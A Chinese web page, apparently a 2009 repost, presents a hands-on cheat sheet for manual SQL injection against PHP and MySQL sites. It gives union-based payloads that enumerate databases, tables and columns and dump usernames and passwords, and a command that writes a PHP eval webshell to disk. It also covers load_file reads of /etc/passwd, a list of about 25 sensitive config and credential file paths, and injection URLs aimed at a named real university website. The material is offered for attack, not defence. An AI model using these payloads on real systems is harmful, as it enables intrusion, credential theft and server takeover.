PHP+MySQL 手工注入语句大全 推荐


Posted in PHP onOctober 30, 2009

暴字段长度

Order by num/*

匹配字段

and 1=1 union select 1,2,3,4,5…….n/*

暴字段位置

and 1=2 union select 1,2,3,4,5…..n/*

利用内置函数暴数据库信息

version() database() user()  

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系统信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

数据库权限:

and ord(mid(user(),1,1))=114 /* 返回正常说明为root

暴库 (mysql>5.0)

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息

and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法(一个可用字段显示两个数据内容)

Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)

条件:1、知道站点物理路径

       2、有足够大的权限(可以用select …. from mysql.user测试)

       3、magic_quotes_gpc()=OFF

select   ‘<?php eval($_POST[cmd])?>'   into outfile ‘物理路径'

and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件

5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件

6、c:/Resin-3.0.14/conf/resin.conf   查看jsp开发的网站 resin文件配置信息.

7、c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径

11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件

12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上

14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看

15、 /etc/sysconfig/iptables 本看防火墙策略

16 、 usr/local/app/php5 b/php.ini PHP 的相当设置

17 、/etc/my.cnf MYSQL的配置文件

18、 /etc/redhat-release   红帽子的系统版本

19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.

21、/usr/local/app/php5 b/php.ini //PHP相关设置

22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置

23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini
       25、c:\boot.ini

网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))

注:

Char(60)表示 <

Char(32)表示 空格

手工注射时出现的问题:

当注射后页面显示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

这是由于前后编码不一致造成的,

解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以继续注射了。。。

PHP 相关文章推荐
在php中取得image按钮传递的name值
Oct 09 PHP
一个可以找出源代码中所有中文的工具
Oct 25 PHP
解析PayPal支付接口的PHP开发方式
Nov 28 PHP
php环境下利用session防止页面重复刷新的具体实现
Jan 09 PHP
ThinkPHP登录功能的实现方法
Aug 20 PHP
PHP对文件进行加锁、解锁实例
Jan 23 PHP
帝国CMS留言板回复后发送EMAIL通知客户
Jul 06 PHP
thinkPHP中验证码的简单使用方法
Dec 26 PHP
PHP7多线程搭建教程
Apr 21 PHP
thinkphp实现附件上传功能
May 26 PHP
PHPExcel实现表格导出功能示例【带有多个工作sheet】
Jun 13 PHP
open_basedir restriction in effect. 原因与解决方法
Mar 14 PHP
php 攻击方法之谈php+mysql注射语句构造
Oct 30 #PHP
PHP 文件上传源码分析(RFC1867)
Oct 30 #PHP
浅谈PHP 闭包特性在实际应用中的问题
Oct 30 #PHP
php实现jQuery扩展函数
Oct 30 #PHP
PHP 读取和修改大文件的某行内容的代码
Oct 30 #PHP
PHP 批量删除数据的方法分析
Oct 30 #PHP
ThinkPHP php 框架学习笔记
Oct 30 #PHP
You might like
zend framework配置操作数据库实例分析
2012/12/06 PHP
Zend Guard使用指南及问题处理
2015/01/07 PHP
PHP实现搜索时记住状态的方法示例
2018/05/11 PHP
PHP调用接口用post方法传送json数据的实例
2018/05/31 PHP
自定义Laravel (monolog)日志位置,并增加请求ID的实现
2019/10/17 PHP
Javascript与vbscript数据共享
2007/01/09 Javascript
一个可绑定数据源的jQuery数据表格插件
2010/07/17 Javascript
让网页跳转到指定位置的jquery代码非书签
2013/09/06 Javascript
影响jQuery使用的14个方面
2014/09/01 Javascript
使用原生JS实现弹出层特效
2014/12/22 Javascript
js中substr,substring,indexOf,lastIndexOf,split,replace的用法详解
2015/11/09 Javascript
js去字符串前后空格的实现方法
2016/02/26 Javascript
在js里怎么实现Xcode里的callFuncN方法(详解)
2016/11/05 Javascript
Ionic+AngularJS实现登录和注册带验证功能
2017/02/09 Javascript
node.js中实现kindEditor图片上传功能的方法教程
2017/04/26 Javascript
基于jQuery选择器之表单对象属性筛选选择器的实例
2017/09/19 jQuery
基于ajax和jsonp的原生封装(实例)
2017/10/16 Javascript
Vue实现双向绑定的原理以及响应式数据的方法
2018/07/02 Javascript
js实现图片放大并跟随鼠标移动特效
2019/01/18 Javascript
vue prop传值类型检验方式
2020/07/30 Javascript
js+cavans实现图片滑块验证
2020/09/29 Javascript
python线程池(threadpool)模块使用笔记详解
2017/11/17 Python
代码分析Python地图坐标转换
2018/02/08 Python
python实现对指定输入的字符串逆序输出的6种方法
2018/04/26 Python
python3+selenium实现qq邮箱登陆并发送邮件功能
2019/01/23 Python
WIn10+Anaconda环境下安装PyTorch(避坑指南)
2019/01/30 Python
django配置app中的静态文件步骤
2020/03/27 Python
图解Python中深浅copy(通俗易懂)
2020/09/03 Python
Joules官网:女士、男士和儿童服装和鞋类
2018/10/23 全球购物
美国购物网站:Clickhere2shop
2021/01/28 全球购物
银行存款证明样本
2014/01/17 职场文书
2014年大班元旦活动方案
2014/02/26 职场文书
党员干部廉洁承诺书
2014/05/28 职场文书
解决MySQL存储时间出现不一致的问题
2021/04/28 MySQL
Python干货实战之八音符酱小游戏全过程详解
2021/10/24 Python
python实现层次聚类的方法
2021/11/01 Python